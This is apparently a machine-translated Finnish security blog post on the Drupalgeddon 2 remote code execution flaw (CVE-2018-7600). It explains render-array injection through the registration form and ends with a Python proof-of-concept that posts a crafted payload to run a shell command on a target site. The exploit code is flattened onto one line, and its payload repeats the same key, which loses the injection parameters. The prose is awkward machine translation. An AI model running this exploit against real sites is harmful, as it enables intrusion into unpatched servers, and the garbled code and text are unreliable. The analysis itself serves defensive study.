Drupalgeddon 2 RCE-SecPod blogi

yli miljoona aktiivista verkkosivustoa käyttää Drupalia, mikä tekee siitä maailman toiseksi käytetyimmän sisällönhallintajärjestelmän WordPressin jälkeen. Maaliskuussa 28, 2018, Drupal julkaisi tietoturvakorjauksia versiot 6-8 ehdottaa päivittää välittömästi ja merkintä taustalla haavoittuvuus (CVE-2018-7600) kriittiseksi koodin suorittamisen. Drupalia käyttävien sivustojen skannaus ja hyökkäykset lisääntyivät odotetusti räjähdysmäisesti, mutta haavoittuvuutta ei raportoitu hyödynnettävän luonnossa. Sitten muutama päivä sitten venäläinen tietoturvatutkija julkaisi proof-of-concept (POC) – hyväksikäyttökoodin GitHubissa ja Internet sekosi.

hyväksikäyttö kasautui ja hyökkääjät alkoivat käyttää sitä kryptovaluuttojen louhijoiden ja haittaohjelmien takaovien asentamiseen. Uskotaan, että kyseessä on yksi Monero miner-kampanjoista, joka toimitti XMRig: n hyödyntäen haavoittuvuutta (CVE-2017-10271) Oracle WebLogic-palvelimissa.

tilastojen mukaan 90% Drupalgeddon 2-hyökkäyksistä ei ole muuta kuin skannauksia haavoittuvien järjestelmien löytämiseksi, 3% on takaovien tartuntayrityksiä ja 2% yrittää suorittaa kryptokaivajia.

Drupal varoitti tiedotteessaan ”sivustoja, joita ei ole paikattu keskiviikkoon mennessä, 2018-04-11 saattaa vaarantua” ja ”pelkkä Drupalin päivittäminen ei poista takaovia tai korjaa vaarantuneita sivustoja. Jos huomaat, että sivustosi on jo paikattu, mutta et tehnyt sitä, se voi olla oire siitä, että sivusto on vaarantunut. Joissakin hyökkäyksissä on aiemmin käytetty laastaria keinona taata, että vain kyseinen hyökkääjä hallitsee sivustoa.”

tekninen Jargon

Drupal esitteli Drupal 6: ssa Muotorajapintansa, joka mahdollisti muototietojen muuttamisen muodon renderöintiprosessin aikana. Tämä mullisti tavan, jolla markup-käsittely toimi. Drupal 7: ssä muoto API yleistettiin siihen, mitä nykyään kutsutaan ”Renderoitaviksi Matriiseiksi”. Tätä laajennettua API: a käytetään edustamaan useimpien Drupalin KÄYTTÖLIITTYMÄELEMENTTIEN rakennetta, kuten sivuja, lohkoja, solmuja ja paljon muuta. Renderoitavat matriisit sisältävät metatietoja, joita käytetään renderöintiprosessissa. Nämä renderoitavat matriisit ovat avainarvorakenne, jossa ominaisuusavaimet alkavat hash-merkillä (#). Esimerkki:

Drupal julkaisi korjaustiedoston, joka lisäsi vain yhden luokan Requestsanitizerin stripDangerousValues-menetelmällä, joka poistaa kaikki tuloryhmän kohteet hash-merkillä alkaville avaimille. Tämä menetelmä puhdistaa syöttötiedot $_GET, $_POST & $_COOKIES aikana hyvin alkuvaiheessa Drupal n bootstrap (heti lataamisen jälkeen sivuston kokoonpanot). Voidaan olettaa, että syy, miksi laastari vapautettiin, on tehdä olemassa olevasta haavoittuvuudesta vaikeampi löytää.

haavoittuvuus löytyi lomakkeista. Käyttäjän rekisteröintilomake, joka ei vaadi todennusta ja jota voidaan käyttää anonyymisti, sisältää useita syöttökenttiä ja jota voidaan käyttää hyväksi.

Image Source : Checkpoint, Dofinity

oli erittäin todennäköistä, että renderoitavan array-järjestelmän pistäminen hyödyntäisi haavoittuvuutta, kysymys kuului missä?

kuten on käynyt ilmi, ”Sähköpostiosoite” – kenttä ei puhdista sen vastaanottamaa syöttötyyppiä, joka antoi meille mahdollisuuden pistää renderoitavan array form array-rakenteeseen.

Image Source : Checkpoint, Dofinity

Now, all we needed was for Drupal to rendering our injured array. Koska Drupal kohtelee meidän ruiskutetaan array arvona eikä elementtinä, meidän piti huijata Drupal osaksi tekee sen. Drupal tekee array sivun kuormitus tapahtuma tai kautta Drupal AJAX API.

käyttäjän rekisteröintilomakkeen ”Kuva” – kenttä käyttää Drupalin AJAX-sovellusliittymää kuvan lataamiseen ja sen korvaamiseen lähetetyn kuvan pikkukuvalla.

Proof-of-concept (POC)

#!/usr/bin/env python3import sysimport requestsprint ('################################################################')print ('# Proof-Of-Concept for CVE-2018-7600')print ('# by Vitalii Rudnykh')print ('# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders')print ('# https://github.com/a2u/CVE-2018-7600')print ('################################################################')print ('Provided only for educational or information purposes\n')target = input('Enter target url (example: https://domain.ltd/): ')# Add proxy support (eg. BURP to analyze HTTP(s) traffic)# set verify = False if your proxy certificate is self signed# remember to set proxies both for http and https# # example:# proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}# verify = Falseproxies = {}verify = Trueurl = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail': 'exec', 'mail': 'markup', 'mail': 'echo ";-)" | tee hello.txt'}r = requests.post(url, proxies=proxies, data=payload, verify=verify)check = requests.get(target + 'hello.txt', verify=verify)if check.status_code != 200: sys.exit("Not exploitable")print ('\nCheck: '+target+'hello.txt')

Vastaa

Sähköpostiosoitettasi ei julkaista.

Related Posts